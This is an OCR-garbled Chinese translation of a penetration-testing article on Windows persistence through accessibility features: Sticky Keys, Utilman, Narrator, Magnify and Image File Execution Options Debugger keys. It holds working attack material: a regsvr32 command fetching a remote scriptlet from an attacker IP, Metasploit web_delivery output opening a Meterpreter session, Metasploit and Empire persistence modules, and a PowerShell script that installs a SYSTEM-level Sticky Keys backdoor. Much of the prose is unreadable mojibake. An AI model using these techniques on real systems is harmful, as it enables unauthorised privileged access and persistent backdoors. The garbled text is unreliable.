HIBhDNREFRAL T MR (R AL WOKRSEE. BRasbiiess) , ml LA Bhakse \ B A2 A i i FH
Windows#:/E Z4A 2, WIRERTRES#i A, LAFE 25 FIRDP H E S R ZU3 AR 1 A= 411 58
IRFEAME o BEBORYS R, B we EE B MR RERA T 4708 T I AR S

B B DO RE SRR ACE R SR AT B 7 152 F i i end. exe sl A (] JH s A 250 SR 80 ol v i
(sethc.exe) [y —gEhlcit,

!;;,»&W»MW(&)»MW.M:M >

Organize Open New folder

¥t Favorites Name ) Date modified Type Size
B Desktop |%| setbedlocale.dll 2/3/2015 3:31 AM Application extens... 62 KB
8 Downloads BN sethe 4/21/2014 3:17 AM  Application 337KB
%] Recent Places ® sethal 4/21/2014 3:17 AM  Application 273 KB
3] SetlEInstalledDate 7/14/2009 239 AM  Application 91 KB
4 Libraries =] setspn 7/14/2008 2:39 AM  Application 34 KB
| Documents %] setupapi.dil 4/21/2004 317 AM  Application extens... 1,856 KB
; Music (=7 setupel 4/21/2014 3:16 AM  Application 87KB
= Pictures |%)| setupcin.dll 7/14/2008 2:41 AM  Application extens... 113 KB
B videos |%| setupetw.dll 7/14/2009 2:33 AM  Application extens... 5KB
o setupuge 7/14/2009239 AM  Application 116 KB
8 Computer 5] setx 7/14/2000 239 AM  Application 5T KB
%] sfe.dil 7/14/2009 233 AM  Application extens... KB
€ Network 871 fc 7/14/2000 239 AM  Application 39 KB
|%)| sfc_os.dil 7/14/2008 2:41 AM  Application extens... 44 KB

Fr AN — Rl o — A 4

FieEShifté s yok J5 Rk AR EE, JF Fo U e sethe.exem A2 Gk Hsethe.exe, BORHRIHRTHGZ
HEHET R (SYSTEM) S8R4T o



Press CTRL + ALT + DELETE to unlock this computer

Adminis la ed on.

B Administrator: sethc.exe

Microsoft Windows [Version 6.1.76811
Copyright <{c»> 208? Microsoft Corporation. All rights reserved.

(=) 8 =)

C=“Windowsszystem32 >whoani
nt authority~system

C-“Windows“system3I2 > _

FEANE—Hhi##CMD

Narrator

EWindows 1081 £ 45, “Narrator” &—ANFrulbil ey R, AT LAR B A Ifigea] Wk )i,
Giulio Comi% BUHATAGAE B T DME O W2 LG TC SO A A o (RSt B AR 2 /i, Giulioz
VO ENLE T — R Y&, PAHE3hjEshNaratorF s/ g . sl LA e :


af://n8

Use Narrator cursor

The Narrator cursor is where Narrator is focused on your screen.

I:I Show the Narrator cursor
I:l Move my cursor with the Narrator cursor as Narrator reads text

[ ] Sync the Narrator cursor and system focus

I:l Read and interact with the screen using the mouse

Select the Narrator cursor navigation mode

Normal v

Normal mode is recommended.

Naratorix &
ARG S E AR TR, BN

1. k4 DelegateExecute ” i3/ 17
2. 15 BRIA P TEIMERILAA T 4

XA TR G2 LA TV T

Computer\HKEY CURRENT USER\Software\Classes\AppXypsaf9flgsergevfOsws76dx4k%9a5206
\Shell\open\command

B Registry Editor
File Edit View Favorites Help
Computer\HKEY_CURRENT_USER\Software\Classes\AppXypsaf9f1gsergevi0sws76dx4k9a5206\Shell\open\command

AppXvfdbd13y2mkjsrtkyrxljgws ~  Name Type Data
AppXvkazkt7ebvo35xdkhka2d0  [EEIGIEN) REG_SZ regsvr32 /s /n fu fi:http://192.168.254.145:8080/HIOddH.sct scrobj.dll

AppXvghb9dhb3dgOmpfydfbz4
AppXvsddybna5mfgpzfzrhOx2n
AppXvtvd3bjbdur72gkapexky0
AppXvvrlsjtc34ronk4mhn2et0t
AppXwwwgbwxamf7ghxdOvnéw
AppXvzg9q08edbeqxefd7wynft
AppXw3nvmgt363p060ea53qg:
AppXw7647sccbfwvbv2h2kgSfc
AppXwcfgfhjx8wdfn8wb8v13tnl
AppXwijy187ewcz1mctxghBstas
AppXws790r9wSrbb9w3pBpdqk

Narator— = m

— Hif7“Narrator Provide Feedback” 4>, HI]{ii ffiMetasploit Webf& i# il #2515 o


https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/

msf5 exploit( ) = exploit
‘] Exploit running as background job 2.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.254.145:4445
Using URL: http://0.0.0.0:8080/HI0ddH
[#] Local IP: http://192.168.254.145:8080/HI0ddH
[*] Server started.
[#] Run the following command on the target machine:
regsvr3z /s /n fu fi:http://192.168.254.145:8088/HI0ddH.sct scrobj.dll
msf5 exploit( ) = [*] 192.168.254.1 web delivery - Ha

ndling .sct Request

[*] 192.168.254.1 web delivery - Delivering Payload (2129) bytes

[#] Sending stage (206483 bytes) to 192.168.254.1

[#] Meterpreter session 1 opened (192.168.254.145:4445 ->= 192.168.254.1:59476) a
t 2019-11-13 ©3:37:30 -0500

msf5 exploit(
[#] Starting interaction with 1...

meterpreter > |}

Meterpreter — Narrator

Metasploit

MetasploitHeZe g it T —MFI S AR, 2 m] T B sh AR MR AR AVEROR . Al i
CMD7 6 firisk i) 4 B U RE — I SCHF (sethe, osk, disp, utilman) .

use post/windows/manage/sticky_ keys

meterpreter > background

[*] Backgrounding session 2...
msf5 exploit( ) = use post/windows/manage/sticky keys
msf5 post( )} = set SESSION 2

SESSION == .

msf5 post( } = run

dministrative rights, proceeding.
: successfully added. Launch the exploit at an RDP or UAC prompt
by p . T 5 times.
[*] execution completed
msf5 post( ) = |

Metasploit —fi4 etk

L AR ERY R BUERT, STutilmanst R AT IF R A RGP @ SR 1T .
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rdesktop - 10.0.2.40 © 0

Bl Administrator: CA\Windows\system32\utilman.exe

Microsoft Windows [Uersion 6.1.76611
Copyright <c?» 2089 Microszoft Corporation. All rights reserved.

C=“Uindows“system32>_

L

VEGA\root Other User

I Cancel I

. Windows '/ Enterprise

s e T BRIl

RSS2 TR Meterpreter<sih, JfHRGEMMUE LR AL ERZEHL I, BIEI T
JE I, DAEE R GO PR ISR AR B B e THE 55 AR, Wn] Lhdid PAR
Metasploittith j5 FHRDP:

use post/windows/manage/enable rdp

msf5 post(

[#] Enabling Remote Desktop
- ROP is disabled; enabling it
Setting Terminal Services service startup mode
The Terminal Services service is not set to auto, changing it to auto

[*] Opening port
[#] For cleanup execute Meterpreter resource file: /root/.msfT4/loot/201911120938
25 default 10.0.2.40 host.windows.cle 906858.

Metasploit — 5 FHRDP#i kR



R R i T — R ] o [ DD RE 3 SR BIMeterpreter i, 1A H A KRGV
CMD.,

root@kall: ~

File Edit View Search Terminal Help

. Windows 7/ enterprise

Metasploit — Meterpreter {554 fif

Empire

{0 FMetasploitfie4e, PowerShell Empire B —1] LASCIURE i RE A MEB AR BT, 5
Metasploitfftt, ©X+HE LM gk (Narrator, Magnify) , TfiAvz2 FHCMDE e — gk 5T
F, MRS SORR T, LMEE s frstagerfyPowerShell iy 4.

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File

Execution Options\sethc.exe\Debugger

A LA I Empiretsibl LI gkl SR AT

o EIXMF
o SRR
o BIFRZ
o PREA

* MKTH

usemodule persistence/misc/debugger/*



af://n40

(Empire: powershell/persistence/misc/debugger) = ecute
y
Tasked XHBEBU3 to run TASK_CMD WAIT
Agent XHBSUZ3 sked with task ID 1
asked agent XH WA to rum module powershell/persistence/misc/debugger
e: powershell/persistence/misc/debugger) > [*] Agent XHBESBU3WA returned res

(e debugger set to trigger EtagFr for listener http
Valid results returned by 10.0.2.40

c/debugger) = -getBinary Mag

ar
c/debugger) execute

y
TASK_CMD WAIT
with task ID 2
WA to run module powershell/persistence/misc/debugger
- ;c/debugger) > [*] Agent XHES8U3WA returned res

Magnify.e debugger set to trlggwr Ltdgrr for listener http
Valid results returned by 10.0.2.40
Sending POWERSHELL stager {htdgﬂ 1) to 10.0.2.40
New agent GL7EK65M checked in
Initial agent GL7EK65M from 10.0.2.40 now active (Slack)
Sending agent (stage 2) to GL7EK65M at 10.0.2.40

Empire — i

Z:IR

Rt AR AR AT R A, — L2 53 e M4 B iR AR © . /EMetasploitfl
Emplrez&b, A LA AR SR 5 s A Til 7% . Preston Thornburgss s 1 DL FPowerShell A, %
FEIA T L3 36 PR A S S A

SregistryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\"

SkeyName = "sethc.exe"

SstringName "Debugger"

SbinaryValue = "C:\Windows\System32\cmd.exe"

IF (Test-Path (SregistryPath + SkeyName))

{
# Sticky Keys backdoor exists.
write-host "Registry key found. Let's remove it."
#New-Item -Path $registryPath -Name SkeyName | Out-Null
Remove-Item -Path (SregistryPath + SkeyName) | Out-Null
write-host "Sticky Key backdoor has been removed."

}

ELSE {

# Sticky Keys backdoor does not exist, let's add it.

write-host "Registry key not found. Attempting to add Sticky Keys backdoor
to registry."

New-Item -Path $registryPath -Name SkeyName | Out-Null



af://n58
https://twitter.com/ptonewreckin

New-ItemProperty -Path ($registryPath + S$keyName) -Name S$stringName -Value
SbinaryValue | Out-Null
write-host "Sticky Keys backdoor added."

C:\Users\AdminyDesktop> .\stickykeys.psi
Registry key not found. Attempting to add Sticky Keys backdoor to registry.
Sticky Keys backdoor added.
P$ C:\Users\Admin\Desktop>

Fhvr s PowerShell A

LI AR H AL A FElogon  backdoor GitHubii H A #it Ak B ST A7 31

B Administrator: logon backdoor | |s(E] |£:7-

I/ _ N/
I(_)I(_II()I
- £ N INC_S)
)

1| I
- v
_ R VAR VAV VNN
1)L < (1)1l
PRI A VENPO I\ VI N VO VR I NS A VR I

1. Set the backdoor

2. Remove backdoor from PC
1
The operation completed successfully.
Press any key to continue .

Fr ARG — 8 S T IHEAL R i A

I LKE L ¢ Debugger V48, DI A SR NI 12


https://github.com/szymon1118/logon_backdoor

¥ Registry Editor =
File Edit View Favorites Help

ofcexe ~ || Name Type Data

OlicenseHeartbeat.ex ab|(Default) REG SZ (value not set)

onenote.exe ab|Debugger REG_SZ Chwindows\system32\cmd.exe

onenotem.exe

ose.exe
OSPPREARM.EXE
OSPPSVC.EXE
outlook.exe
PDFREFLOW.EXE
powerpnt.exe
protocolhandler.exe
scanpst.exe

selfcert.exe

sethc.exe

setlang.exe =
SmartTaglnstall.exe
SPREADSHEETCOMP/
UcMapi.exe
vpreview.exe
Winword.exe -

4 I 2

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe

e AMER g — g e T
e Shifté 5 yck I AT, IS ERGE PRI TCMD.,

Microsoft Windows [Uersion 6.1.7601]
Copyright {c) 2009 HMicrosoft Corporation. All rights reserved.

C:\Windows\system32>




Fre A =555 1CMD

X IS F G SR T, 2k % 7 ¢ Debugger £

I
- __ I R I B
_\f‘l,f__ll,ff_‘lf_\x_\l
1) 1l (__: NG S0 I B G50 B O G B

RV A VNN SR P A \__ B N N 4 I

Set up the backdoor
Remove backdoor from PC
Exit

nter the number:
Backdoor has been set up successfully

Press any key to continue

FeAME = 5 T 1E s a7 A

g GitHubpy I B £2 4L 7 — MEAMIIEDT, X RS RGEHIGS . (H2, ERNIIS
logon__backdoori H 44 #H 10

B Administrator: STICKY KEYS

Werkstations allowed

Logon script

User profile

Home directory

Last logon 11/12/2019 8:17:55 PM

Logon hours allowed All

Lecal Group Memberships *Administrators xUsers
Global Group memberships *None
The command completed successfully.

Falls an dieser Stelle keine Nutzerdaten gelesen werden kH|nnen, sind Sie wahrscheinli
ch mit einem Systemaccount angemeldet...

. Backdoor aktivieren
2. Backdoor entfernen (dieser File wird ebenfalls gelH|scht und cmd.exe beendet!)
§3. Gibt mir einfach eine Konsole mit sys-Rechten. ..
3
"Sie sind angemeldet als:"
vegahadmin
Microsoft Windows [Uersion 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>_



https://github.com/HanKooR/Sticky-Keys

Fr A — R o H R geiE bl 6

FEXEY - KX HIBYpass BREHFIFE, (KHTF LA 7172 o
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http://%3Chttps//pentestlab.blog/2019/11/13/persistence-accessibility-features/
http://%3Chttps//pentestlab.blog/2019/11/13/persistence-accessibility-features/
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